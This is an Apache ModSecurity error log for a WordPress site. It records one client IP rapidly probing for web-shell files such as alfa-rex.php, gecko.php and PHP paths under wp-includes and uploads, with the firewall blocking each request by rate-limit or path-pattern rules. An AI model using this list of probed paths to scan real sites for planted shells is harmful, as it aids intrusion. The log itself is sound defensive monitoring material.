[Fri Apr 03 05:10:56.750504 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:2027] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bYO-GlVDWdWxxwJB3hwAAAIE"]
[Fri Apr 03 05:10:56.914307 2026] [:error] [pid 22672:tid 22726] [client 20.104.201.101:2000] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "ac7bYKzrgXkFSOK0fvp6jwAAAEc"]
[Fri Apr 03 05:10:57.401061 2026] [:error] [pid 22778:tid 22808] [client 20.104.201.101:1901] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "ac7bYfS-q9hkdFqUjq9rAAAAANc"]
[Fri Apr 03 05:10:57.445263 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:2040] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "ac7bYfS-q9hkdFqUjq9rAQAAAME"]
[Fri Apr 03 05:10:57.831410 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:2033] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache.php"] [unique_id "ac7bYfS-q9hkdFqUjq9rAgAAANU"]
[Fri Apr 03 05:10:58.142044 2026] [:error] [pid 22672:tid 22741] [client 20.104.201.101:1824] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bYqzrgXkFSOK0fvp6lQAAAFY"]
[Fri Apr 03 05:10:58.378438 2026] [:error] [pid 22673:tid 22752] [client 20.104.201.101:1669] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache.php"] [unique_id "ac7bYu-GlVDWdWxxwJB3jwAAAIY"]
[Fri Apr 03 05:10:58.974086 2026] [:error] [pid 22778:tid 22805] [client 20.104.201.101:1853] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache.php"] [unique_id "ac7bYvS-q9hkdFqUjq9rBwAAANQ"]
[Fri Apr 03 05:10:59.904846 2026] [:error] [pid 22672:tid 22737] [client 20.104.201.101:1923] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache.php"] [unique_id "ac7bY6zrgXkFSOK0fvp6mgAAAFI"]
[Fri Apr 03 05:11:00.560317 2026] [:error] [pid 58590:tid 58607] [client 20.104.201.101:1998] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bZEze_aEPDM9xEE2hfwAAAQ8"]
[Fri Apr 03 05:11:01.033158 2026] [:error] [pid 58590:tid 58615] [client 20.104.201.101:1942] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bZUze_aEPDM9xEE2hgwAAARc"]
[Fri Apr 03 05:11:01.282031 2026] [:error] [pid 22778:tid 22799] [client 20.104.201.101:1655] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bZfS-q9hkdFqUjq9rEgAAAM4"]
[Fri Apr 03 05:11:01.693811 2026] [:error] [pid 22672:tid 22741] [client 20.104.201.101:1683] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bZazrgXkFSOK0fvp6pQAAAFY"]
[Fri Apr 03 05:11:01.769207 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:2026] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bZUze_aEPDM9xEE2hhQAAAQw"]
[Fri Apr 03 05:11:02.201600 2026] [:error] [pid 22778:tid 22792] [client 20.104.201.101:1626] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bZvS-q9hkdFqUjq9rEwAAAMc"]
[Fri Apr 03 05:11:02.440738 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:2001] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bZu-GlVDWdWxxwJB3lwAAAIw"]
[Fri Apr 03 05:11:02.930856 2026] [:error] [pid 22673:tid 22766] [client 20.104.201.101:1746] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bZu-GlVDWdWxxwJB3mQAAAJQ"]
[Fri Apr 03 05:11:03.331369 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1747] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "ac7bZ_S-q9hkdFqUjq9rGAAAAMk"]
[Fri Apr 03 05:11:03.371006 2026] [:error] [pid 22778:tid 22800] [client 20.104.201.101:1682] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bZ_S-q9hkdFqUjq9rGwAAAM8"]
[Fri Apr 03 05:11:03.830957 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:2043] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bZyRuUnMW7r8hvyY-GQAAABU"]
[Fri Apr 03 05:11:03.924669 2026] [:error] [pid 22778:tid 22798] [client 20.104.201.101:2011] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7bZ_S-q9hkdFqUjq9rIQAAAM0"]
[Fri Apr 03 05:11:04.300028 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1956] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7baKzrgXkFSOK0fvp6qAAAAEk"]
[Fri Apr 03 05:11:04.415534 2026] [:error] [pid 22673:tid 22762] [client 20.104.201.101:1899] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7baO-GlVDWdWxxwJB3mwAAAJA"]
[Fri Apr 03 05:11:04.886466 2026] [:error] [pid 22672:tid 22722] [client 20.104.201.101:1851] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7baKzrgXkFSOK0fvp6qwAAAEM"]
[Fri Apr 03 05:11:05.624921 2026] [:error] [pid 22673:tid 22769] [client 20.104.201.101:1936] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7bae-GlVDWdWxxwJB3oAAAAJc"]
[Fri Apr 03 05:11:05.753493 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:1984] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bae-GlVDWdWxxwJB3oQAAAJE"]
[Fri Apr 03 05:11:06.122542 2026] [:error] [pid 22673:tid 22753] [client 20.104.201.101:1700] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7bau-GlVDWdWxxwJB3owAAAIc"]
[Fri Apr 03 05:11:06.174309 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:1616] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bakze_aEPDM9xEE2hlgAAAQE"]
[Fri Apr 03 05:11:06.590957 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1634] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bakze_aEPDM9xEE2hmAAAARQ"]
[Fri Apr 03 05:11:06.639322 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1912] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7bavS-q9hkdFqUjq9rKAAAANI"]
[Fri Apr 03 05:11:07.009248 2026] [:error] [pid 22672:tid 22734] [client 20.104.201.101:1688] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7ba6zrgXkFSOK0fvp6sQAAAE8"]
[Fri Apr 03 05:11:07.106490 2026] [:error] [pid 58590:tid 58605] [client 20.104.201.101:1701] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7ba0ze_aEPDM9xEE2hnAAAAQ0"]
[Fri Apr 03 05:11:07.469027 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1851] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7ba--GlVDWdWxxwJB3qgAAAJg"]
[Fri Apr 03 05:11:07.618854 2026] [:error] [pid 22778:tid 22787] [client 20.104.201.101:1711] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7ba_S-q9hkdFqUjq9rKQAAAMI"]
[Fri Apr 03 05:11:07.910757 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1948] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7ba0ze_aEPDM9xEE2hnwAAAQI"]
[Fri Apr 03 05:11:08.449185 2026] [:error] [pid 22673:tid 22748] [client 20.104.201.101:1836] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bbO-GlVDWdWxxwJB3sQAAAII"]
[Fri Apr 03 05:11:08.533660 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1713] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ac7bbEze_aEPDM9xEE2howAAARI"]
[Fri Apr 03 05:11:08.997698 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1927] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bbEze_aEPDM9xEE2hpgAAARM"]
[Fri Apr 03 05:11:09.001729 2026] [:error] [pid 58590:tid 58605] [client 20.104.201.101:2012] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7bbUze_aEPDM9xEE2hpwAAAQ0"]
[Fri Apr 03 05:11:09.411104 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1642] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bbfS-q9hkdFqUjq9rNgAAANA"]
[Fri Apr 03 05:11:09.474999 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1610] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7bbfS-q9hkdFqUjq9rNwAAAMk"]
[Fri Apr 03 05:11:09.822983 2026] [:error] [pid 22671:tid 22705] [client 20.104.201.101:1935] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bbSRuUnMW7r8hvyY-HAAAAA4"]
[Fri Apr 03 05:11:10.199698 2026] [:error] [pid 22778:tid 22793] [client 20.104.201.101:1785] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7bbvS-q9hkdFqUjq9rOwAAAMg"]
[Fri Apr 03 05:11:10.235845 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:1708] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bbvS-q9hkdFqUjq9rPAAAAMY"]
[Fri Apr 03 05:11:10.656196 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:2005] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bbkze_aEPDM9xEE2hrgAAAQI"]
[Fri Apr 03 05:11:10.668416 2026] [:error] [pid 58590:tid 58615] [client 20.104.201.101:1637] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7bbkze_aEPDM9xEE2hrwAAARc"]
[Fri Apr 03 05:11:11.085910 2026] [:error] [pid 22672:tid 22739] [client 20.104.201.101:1556] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "ac7bb6zrgXkFSOK0fvp6tAAAAFQ"]
[Fri Apr 03 05:11:11.104791 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1890] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7bb6zrgXkFSOK0fvp6tQAAAEk"]
[Fri Apr 03 05:11:11.528356 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:1849] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bb6zrgXkFSOK0fvp6twAAAFE"]
[Fri Apr 03 05:11:12.012156 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1601] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bcO-GlVDWdWxxwJB3uwAAAIw"]
[Fri Apr 03 05:11:12.062550 2026] [:error] [pid 22671:tid 22693] [client 20.104.201.101:1915] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7bcCRuUnMW7r8hvyY-IQAAAAI"]
[Fri Apr 03 05:11:12.442840 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1718] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bcPS-q9hkdFqUjq9rRwAAAMk"]
[Fri Apr 03 05:11:12.582022 2026] [:error] [pid 22671:tid 22707] [client 20.104.201.101:1622] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7bcCRuUnMW7r8hvyY-IgAAABA"]
[Fri Apr 03 05:11:12.874210 2026] [:error] [pid 22672:tid 22724] [client 20.104.201.101:1639] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bcKzrgXkFSOK0fvp6wAAAAEU"]
[Fri Apr 03 05:11:13.298868 2026] [:error] [pid 22672:tid 22735] [client 20.104.201.101:1628] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bcazrgXkFSOK0fvp6wgAAAFA"]
